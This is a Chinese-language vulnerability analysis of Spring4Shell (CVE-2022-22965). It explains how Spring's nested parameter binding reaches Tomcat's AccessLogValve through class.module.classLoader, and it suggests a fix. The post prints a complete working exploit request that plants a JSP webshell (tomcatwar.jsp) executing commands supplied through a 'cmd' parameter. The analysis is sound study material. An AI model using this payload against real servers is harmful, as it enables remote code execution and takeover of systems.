spring4shell CVE-2022-22965 漏洞分析與流程圖解
0X01 前言
最近重新回顧漏洞,發現挺多都忘了,且暴露了一個問題,較少站在研發角度去考慮漏洞本身。
比如spring4shell,只記得是classloader。
所以感覺分析時,本身需求、實現方式設計、疏漏點與漏洞成因、自己猜想的修復方式會更重要些;更能體系化起來。
所以回頭把spring4shell重看一遍
慶幸的是,因曾做產品與研發,對于需求與用戶的關系(用戶為什么要這個需求)理解的比較容易,需求的實現方式設計起來也大差不差。
0X02 漏洞描述
spring在進行參數綁定時支持嵌套綁定,使得形如class.module.classLoader這樣的參數可以穿越修改AccessLogvlave的屬性。
漏洞通過請求傳入的參數,利用SpringMVC參數綁定機制,控制了Tomcat AccessLogValve的屬性,讓Tomcat在webapps/ROOT目錄輸出定制的“訪問日志”tomcatwar.jsp,該“訪問日志”實際上為一個JSP webshell。
0X03 漏洞本意分析
漏洞原本需求:
設置參數綁定功能,通過請求的參數改變對象的屬性,包括對象中的對象的屬性
實現方式:
獲取當前的類,根據設置的屬性,比如a.b.c.d=e,查找當前類的geta().getb.getc.getd,調用set(e)
設計疏漏點:
需求沒問題,實現方式也沒問題,但是很容易想到是否可以跳出當前類、去設置其他屬性。如果存在某個屬性可以設置到當前類之外的其他對象的屬性,那么可能造成漏洞。我們要尋找的就是這樣一種跳出當前類的方法
0X04 漏洞成因分析
漏洞成因:
參數綁定classloader導致后續屬性賦值造成RCE
payload
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
漏洞payload分析:
class.module.classLoader.resources.context.parent.pipeline.first.pattern
1 class獲取當前類
2 module,獲取當前module。
什么是module?
https://blog.csdn.net/vincent_wen0766/article/details/114416461
Java 平臺模塊系統,也就是 Project Jigsaw,把模塊化開發實踐引入到了 Java 平臺中。在引入了模塊系統之后,JDK 被重新組織成 94 個模塊。Java 應用可以通過新增的 jlink 工具,創建出只包含所依賴的 JDK 模塊的自定義運行時鏡像。這樣可以極大的減少 Java 運行時環境的大小。這對于目前流行的不可變基礎設施的實踐來說,鏡像的大小的減少可以節省很多存儲空間和帶寬資源
3 classLoader
classLoader類加載器,模塊的類加載器為tomcat的ParallelWebappClassLoader,轉而可設置tomcat的屬性
4 后面的resources.context.parent.pipeline.first.pattern則是tomcat本身日志相關的的屬性
漏洞修復:
按常理,當前屬性get的時候,禁止到module即可。
而tomcat也做了修復,把getResource給去掉了,雖然本身不是tomcat問題
0X05 圖解

轉載標注:http://www.rzrgm.cn/huim/p/17188542.html
參考鏈接
module平臺模塊系統是什么:https://blog.csdn.net/vincent_wen0766/article/details/114416461
classloader:https://blog.csdn.net/Taobaojishu/article/details/113874686
漏洞分析:https://javamana.com/2022/227/202208150248568326.html
漏洞分析:https://www.anquanke.com/post/id/272149
漏洞分析:https://forum.butian.net/share/1474
漏洞分析:https://zhuanlan.zhihu.com/p/498778896
idea tomcat映射問題:https://blog.csdn.net/god_zzZ/article/details/124029497
spring event事件概念: https://baijiahao.baidu.com/s?id=1617119527751442850&wfr=spider&for=pc

浙公網安備 33010602011771號